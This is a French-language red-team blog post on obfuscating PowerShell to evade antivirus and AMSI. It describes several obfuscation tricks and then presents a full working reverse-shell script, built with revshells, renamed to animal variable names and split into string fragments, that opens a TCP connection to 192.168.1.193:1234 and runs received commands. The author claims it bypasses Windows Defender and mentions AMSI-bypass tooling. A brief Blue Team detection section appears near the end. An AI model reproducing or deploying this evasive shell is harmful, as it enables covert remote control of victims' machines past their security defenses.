Dans le monde de la cybersécurité, rester sous le radar est crucial. PowerShell est devenu l’un des outils les plus puissants pour les Red Teamers en raison de sa flexibilité et de son intégration profonde dans l’écosystème Windows. Cependant, les solutions antivirus (AV) et l’interface AMSI (Antimalware Scan Interface) sont devenues très performantes pour détecter les scripts PowerShell malveillants. Cet article explore les techniques d’obfuscation que les Red Teamers utilisent pour contourner ces défenses.
Pourquoi PowerShell ?
PowerShell est un outil privilégié pour la post-exploitation car :
- Il est natif à Windows.
- Il peut accéder directement à l’API .NET.
- Il s’exécute en mémoire, évitant ainsi de laisser des traces sur le disque (attaques fileless).
Qu’est-ce que l’obfuscation ?
L’obfuscation est le processus de transformation du code source pour le rendre difficile à comprendre par les humains et les outils d’analyse automatique, tout en conservant sa fonctionnalité d’origine. Pour les Red Teamers, l’objectif est de masquer la signature du script pour tromper les moteurs de détection de l’antivirus.
Techniques courantes d’obfuscation
1. Concaténation de chaînes
Au lieu d’utiliser des mots-clés suspects tels quels, les attaquants les divisent en plusieurs parties et les rejoignent au moment de l’exécution. Exemple : Write-Host devient ('Writ' + 'e-Host').
2. Réordonnancement des chaînes (Opérateur -f)
L’opérateur de formatage de PowerShell peut être utilisé pour reconstruire des commandes à partir de segments mélangés. Exemple : "{1}{0}" -f 'Host', 'Write-' donnera Write-Host.
3. Utilisation de variables aléatoires
Remplacer des noms de variables clairs par des noms aléatoires rend l’analyse manuelle et automatique beaucoup plus complexe. Exemple : $client = New-Object... devient $a1b2c3 = New-Object....
4. Encodage Base64
Bien que ce ne soit pas une technique d’obfuscation forte (car facilement réversible), l’encodage Base64 est souvent utilisé avec l’argument -EncodedCommand pour masquer le script au premier coup d’œil.
5. Insertion de « Backticks »
L’utilisation de l’accent grave (backtick `) est un caractère d’échappement en PowerShell. S’il est placé au milieu d’une commande, PowerShell l’ignore, mais cela peut suffire à briser une signature de détection statique. Exemple : Windows.
Proof Of Concept
Première partie:
Téléchargez un script PowerShell simple qui vous permet d’effectuer une authentification inversée sur le site web revshell.com.


Deuxième partie :
La deuxieme partie consiste à réduire le niveau d’entropie et à renommer les variables afin d’éviter celles dont le nom commence par « Payload » ou « Shellcode ». Il est nécessaire de renommer les variables en utilisant le même champ lexical pour réduire l’entropie et contourner l’anti-aliasing.
CONSEIL : Pour éviter toute confusion, il est conseillé de demander à ChatGPT de générer un ensemble de variables liées à un champ lexical spécifique, ce qui permettra de réduire l’entropie.
Dans notre cas, j’ai choisi des noms d’animaux comme variables et j’ai donc renommé chacune des variables disponibles dans la charge utile générée par revshell en utilisant des noms d’animaux afin de réduire l’entropie.


Troisième partie :
Modification des variables : Nous devons maintenant modifier certains mots ou expressions sensibles de notre code, car ils pourraient permettre au système de sécurité de nous détecter rapidement. Pour ce faire, j’ai utilisé un dépôt GitHub traitant de l’obfuscation des codes PowerShell ; je vous recommande vivement d’y jeter un œil.
https://github.com/t3l3machus/PowerShell-Obfuscation-Bible
Dans notre cas, en suivant le dépôt t3l3machus, nous remplacerons la variable booléenne « true » par des équivalents, afin de limiter la détection de notre payload.
Comme vous pouvez le constater, ce petit script PowerShell permet de contourner Windows Defender, mais je doute que ce soit le cas avec les solutions EDR plus importantes ou les antivirus plus performants.

Preuve de concept :


Le code PowerShell obfusquer:
$mouse = '192.'+'';
$lion = ''+''+''+'168';
$fish = '.'+''+''+'1'+''+'.';
$ant = '193'
$cat = $mouse + $lion + $fish + $ant
$dog = 1234;
$rat = New-Object Net.Sockets.TCPClient($cat , $dog );
$pig = $rat.GetStream();
$bat = New-Object IO.StreamReader($pig); $bee = New-Object IO.StreamWriter($pig);
$bee.AutoFlush = (9999 -eq 9999);
$duck = New-Object System.Byte[] 1024;
while ($rat.Connected) { while ($pig.DataAvailable) { $goat = $pig.Read($duck, 0, $duck.Length); $wolf = ([text.encoding]::UTF8).GetString($duck, 0, $goat -1) };
if ($rat.Connected -and $wolf.Length -gt 1) { $Output = try { Invoke-Expression ($wolf) 2>&1 } catch { $_ }; $bee.Write("$Output`n"); $wolf = $null } };
$rat.Close(); $pig.Close();
$bat.Close();
$bee.Close()
C’est quoi l’AMSI ?
L’AMSI est une interface qui permet aux produits antivirus d’inspecter les scripts PowerShell au moment de l’exécution, juste après qu’ils aient été désobscurcis en mémoire. Cela signifie que même si votre script est fortement obfusqué sur le disque, l’AMSI verra le code « propre » juste avant qu’il ne s’exécute.
Pour contrer cela, les Red Teamers utilisent des techniques de « AMSI Bypass », qui consistent souvent à modifier des instructions en mémoire pour désactiver le signalement de l’AMSI vers l’antivirus.
Outils d’automatisation
Plusieurs frameworks permettent d’automatiser l’obfuscation complexe :
- Invoke-Obfuscation : Développé par Daniel Bohannon, c’est la référence pour l’obfuscation de scripts PowerShell.
- Chameleon : Un outil qui applique des techniques de contournement d’AMSI et d’obfuscation de manière aléatoire.
Comment se défendre ?
Pour les Blue Teams, la détection de l’obfuscation repose sur :
- Script Block Logging (Event ID 4104) : Capture le contenu désobscurci des scripts.
- Transcription PowerShell : Enregistre toutes les entrées et sorties des sessions PowerShell.
- Analyse de l’entropie : Détecter les scripts qui ont une structure de caractères inhabituelle, typique du code obfusqué.
Conclusion
L’obfuscation PowerShell est une méthode puissante pour tester la résilience des défenses d’une organisation. Alors que les techniques de détection s’améliorent, la capacité à créer des scripts sur mesure et obfusqués reste une compétence indispensable pour tout Red Teamer.
Laisser un commentaire